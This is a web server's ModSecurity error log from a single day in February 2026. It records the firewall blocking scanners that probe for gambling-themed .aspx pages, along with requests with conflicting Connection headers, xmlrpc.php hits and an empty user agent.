[Sun Feb 22 01:09:10.646708 2026] [:error] [pid 4789:tid 4809] [client 147.135.213.130:52534] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "aZnmtq9_231lp37V1xw-ZAAAARI"]
[Sun Feb 22 01:09:13.119737 2026] [:error] [pid 4789:tid 4801] [client 147.135.213.130:52538] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "aZnmua9_231lp37V1xw-agAAAQo"]
[Sun Feb 22 01:09:15.675462 2026] [:error] [pid 3179:tid 3430] [client 147.135.213.130:52548] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "aZnmu9gAWCcL8bTGJUUgQQAAABI"]
[Sun Feb 22 01:09:18.024860 2026] [:error] [pid 3516:tid 3536] [client 147.135.213.130:52564] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "aZnmvktaWLejEJFWY3Eu2AAAANE"]
[Sun Feb 22 01:09:20.534877 2026] [:error] [pid 3195:tid 3450] [client 147.135.213.130:35192] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aZnmwA28anZ1nWyZCI42xwAAAEs"]
[Sun Feb 22 01:09:23.013826 2026] [:error] [pid 3179:tid 3418] [client 147.135.213.130:35196] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "aZnmw9gAWCcL8bTGJUUgUQAAAAY"]
[Sun Feb 22 01:09:25.457103 2026] [:error] [pid 3195:tid 3439] [client 147.135.213.130:35204] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "aZnmxQ28anZ1nWyZCI420QAAAEA"]
[Sun Feb 22 01:09:28.022714 2026] [:error] [pid 4789:tid 4808] [client 147.135.213.130:35216] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aZnmyK9_231lp37V1xw-ewAAARE"]
[Sun Feb 22 01:09:30.434821 2026] [:error] [pid 4789:tid 4813] [client 147.135.213.130:39852] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "aZnmyq9_231lp37V1xw-hgAAARY"]
[Sun Feb 22 01:09:32.839596 2026] [:error] [pid 3516:tid 3527] [client 147.135.213.130:39866] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w69%20slot.aspx"] [unique_id "aZnmzEtaWLejEJFWY3Eu7wAAAMg"]
[Sun Feb 22 01:09:35.255314 2026] [:error] [pid 3204:tid 3478] [client 147.135.213.130:39870] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "aZnmz3AwnUMG8727rz4IQAAAAIw"]
[Sun Feb 22 01:09:37.821104 2026] [:error] [pid 4789:tid 4804] [client 147.135.213.130:39874] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we88%20slot.aspx"] [unique_id "aZnm0a9_231lp37V1xw-sgAAAQ0"]
[Sun Feb 22 01:09:40.320062 2026] [:error] [pid 3179:tid 3434] [client 147.135.213.130:44066] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aZnm1NgAWCcL8bTGJUUgXwAAABY"]
[Sun Feb 22 01:09:42.846861 2026] [:error] [pid 3179:tid 3427] [client 147.135.213.130:44078] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xo%20slot.aspx"] [unique_id "aZnm1tgAWCcL8bTGJUUgbAAAAA8"]
[Sun Feb 22 01:09:45.337501 2026] [:error] [pid 3516:tid 3526] [client 147.135.213.130:44088] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "aZnm2UtaWLejEJFWY3EvDQAAAMc"]
[Sun Feb 22 01:50:17.840657 2026] [:error] [pid 4789:tid 4812] [client 147.135.213.130:60852] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aZnwWa9_231lp37V1xxSqQAAARU"]
[Sun Feb 22 01:50:19.408224 2026] [:error] [pid 3179:tid 3414] [client 147.135.213.130:59906] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20slot.aspx"] [unique_id "aZnwW9gAWCcL8bTGJUUt-gAAAAI"]
[Sun Feb 22 01:50:20.346361 2026] [:error] [pid 4789:tid 4793] [client 147.135.213.130:54424] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20slot.aspx"] [unique_id "aZnwXK9_231lp37V1xxSrQAAAQI"]
[Sun Feb 22 01:50:22.311628 2026] [:error] [pid 3195:tid 3442] [client 147.135.213.130:54436] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lava%20slot.aspx"] [unique_id "aZnwXg28anZ1nWyZCI5EvgAAAEM"]
[Sun Feb 22 01:50:22.800257 2026] [:error] [pid 3516:tid 3519] [client 147.135.213.130:54440] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lava%20slot.aspx"] [unique_id "aZnwXktaWLejEJFWY3E_DgAAAMA"]
[Sun Feb 22 01:50:24.956682 2026] [:error] [pid 4789:tid 4804] [client 147.135.213.130:54454] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20auto.aspx"] [unique_id "aZnwYK9_231lp37V1xxSuwAAAQ0"]
[Sun Feb 22 01:50:25.504487 2026] [:error] [pid 3516:tid 3526] [client 147.135.213.130:54456] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20auto.aspx"] [unique_id "aZnwYUtaWLejEJFWY3E_EgAAAMc"]
[Sun Feb 22 01:50:27.514247 2026] [:error] [pid 3195:tid 3448] [client 147.135.213.130:54472] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "aZnwYw28anZ1nWyZCI5ExQAAAEk"]
[Sun Feb 22 01:50:27.862205 2026] [:error] [pid 3204:tid 3468] [client 147.135.213.130:54488] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "aZnwY3AwnUMG8727rz4XnQAAAII"]
[Sun Feb 22 01:50:30.223432 2026] [:error] [pid 3204:tid 3479] [client 147.135.213.130:52010] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "aZnwZnAwnUMG8727rz4XqgAAAI0"]
[Sun Feb 22 01:50:30.639873 2026] [:error] [pid 3195:tid 3449] [client 147.135.213.130:52022] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "aZnwZg28anZ1nWyZCI5EyAAAAEo"]
[Sun Feb 22 01:50:32.623612 2026] [:error] [pid 4789:tid 4804] [client 147.135.213.130:52030] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "aZnwaK9_231lp37V1xxSxAAAAQ0"]
[Sun Feb 22 01:50:33.347423 2026] [:error] [pid 3179:tid 3424] [client 147.135.213.130:52032] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "aZnwadgAWCcL8bTGJUUuCQAAAAw"]
[Sun Feb 22 01:50:35.265365 2026] [:error] [pid 4789:tid 4812] [client 147.135.213.130:52048] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "aZnwa69_231lp37V1xxSzgAAARU"]
[Sun Feb 22 01:50:35.896993 2026] [:error] [pid 4789:tid 4799] [client 147.135.213.130:52050] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "aZnwa69_231lp37V1xxS0QAAAQg"]
[Sun Feb 22 01:50:37.577489 2026] [:error] [pid 4789:tid 4798] [client 147.135.213.130:52052] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "aZnwba9_231lp37V1xxS1gAAAQc"]
[Sun Feb 22 01:50:38.372691 2026] [:error] [pid 4789:tid 4810] [client 147.135.213.130:52066] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "aZnwbq9_231lp37V1xxS3QAAARM"]
[Sun Feb 22 02:09:32.576290 2026] [:error] [pid 4789:tid 4801] [client 49.51.253.26:56260] [client 49.51.253.26] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aZn03K9_231lp37V1xxbWAAAAQo"]
[Sun Feb 22 02:25:17.829576 2026] [:error] [pid 3195:tid 3442] [client 193.34.33.10:7439] [client 193.34.33.10] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 193.34.33.10, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aZn4jQ28anZ1nWyZCI5P2wAAAEM"]
[Sun Feb 22 03:47:53.643275 2026] [:error] [pid 44392:tid 44451] [client 43.135.145.73:44714] [client 43.135.145.73] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aZoL6SMeNHF38yLF2roi6AAAAFM"]
[Sun Feb 22 04:56:52.263882 2026] [:error] [pid 9695:tid 9705] [client 216.73.216.52:35694] [client 216.73.216.52] ModSecurity: Warning. Pattern match "^$" at REQUEST_HEADERS:user-agent. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "120"] [id "217240"] [rev "3"] [msg "COMODO WAF: Empty User Agent Header||measureyourbrand.com.au|F|5"] [data "REQUEST_HEADERS:user-agent="] [severity "NOTICE"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/robots.txt"] [unique_id "aZocFFpPqolBNLmJ4eogAAAAAMg"]
[Sun Feb 22 11:26:40.131904 2026] [:error] [pid 9588:tid 9633] [client 170.106.152.218:46468] [client 170.106.152.218] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aZp3cGjNBsxseiTcElnarwAAAEk"]
[Sun Feb 22 16:45:13.518429 2026] [:error] [pid 9588:tid 9626] [client 43.157.156.190:42434] [client 43.157.156.190] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aZrCGWjNBsxseiTcElkwpgAAAEI"]
[Sun Feb 22 17:47:47.881017 2026] [:error] [pid 10537:tid 10549] [client 43.153.71.132:48792] [client 43.153.71.132] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aZrQw7gCiSojLQQBckjYPAAAAQo"]
[Sun Feb 22 18:33:28.964598 2026] [:error] [pid 17328:tid 17368] [client 114.96.103.33:45483] [client 114.96.103.33] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aZrbeCmytOXCmY4_PcYmXwAAAZA"]
[Sun Feb 22 18:49:03.425768 2026] [:error] [pid 9587:tid 9598] [client 79.137.67.30:51238] [client 79.137.67.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aZrfH-hqt7NXCp-NupHVyAAAAAI"]
[Sun Feb 22 18:49:08.907893 2026] [:error] [pid 10537:tid 10541] [client 79.137.67.30:54310] [client 79.137.67.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "aZrfJLgCiSojLQQBckjnZwAAAQI"]
[Sun Feb 22 18:49:15.425338 2026] [:error] [pid 9587:tid 9614] [client 79.137.67.30:60568] [client 79.137.67.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "aZrfK-hqt7NXCp-NupHV3AAAABI"]
[Sun Feb 22 18:49:22.057815 2026] [:error] [pid 9589:tid 9655] [client 79.137.67.30:60578] [client 79.137.67.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pp%20slot.aspx"] [unique_id "aZrfMtr-1mylR_FoXQUkygAAAIQ"]
[Sun Feb 22 18:49:27.883855 2026] [:error] [pid 12501:tid 12515] [client 79.137.67.30:53754] [client 79.137.67.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "aZrfN5icztrbvinWGXPiFwAAAUw"]
[Sun Feb 22 18:49:33.718682 2026] [:error] [pid 9587:tid 9612] [client 79.137.67.30:53764] [client 79.137.67.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sa%20casino.aspx"] [unique_id "aZrfPehqt7NXCp-NupHV_AAAABA"]
[Sun Feb 22 18:49:40.202157 2026] [:error] [pid 12501:tid 12505] [client 79.137.67.30:50108] [client 79.137.67.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "aZrfRJicztrbvinWGXPiJAAAAUI"]
[Sun Feb 22 18:49:45.541620 2026] [:error] [pid 17328:tid 17356] [client 79.137.67.30:35424] [client 79.137.67.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "aZrfSSmytOXCmY4_PcYqnQAAAYY"]
[Sun Feb 22 18:49:51.425994 2026] [:error] [pid 10537:tid 10540] [client 79.137.67.30:35436] [client 79.137.67.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20777.aspx"] [unique_id "aZrfT7gCiSojLQQBckjnfQAAAQE"]
[Sun Feb 22 18:49:57.595492 2026] [:error] [pid 12501:tid 12509] [client 79.137.67.30:58332] [client 79.137.67.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20888.aspx"] [unique_id "aZrfVZicztrbvinWGXPiPwAAAUY"]
[Sun Feb 22 18:51:23.067967 2026] [:error] [pid 9588:tid 9643] [client 79.137.67.30:52590] [client 79.137.67.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "aZrfq2jNBsxseiTcEllO_QAAAFM"]
[Sun Feb 22 18:51:28.205710 2026] [:error] [pid 9587:tid 9602] [client 79.137.67.30:38980] [client 79.137.67.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "aZrfsOhqt7NXCp-NupHWcgAAAAY"]
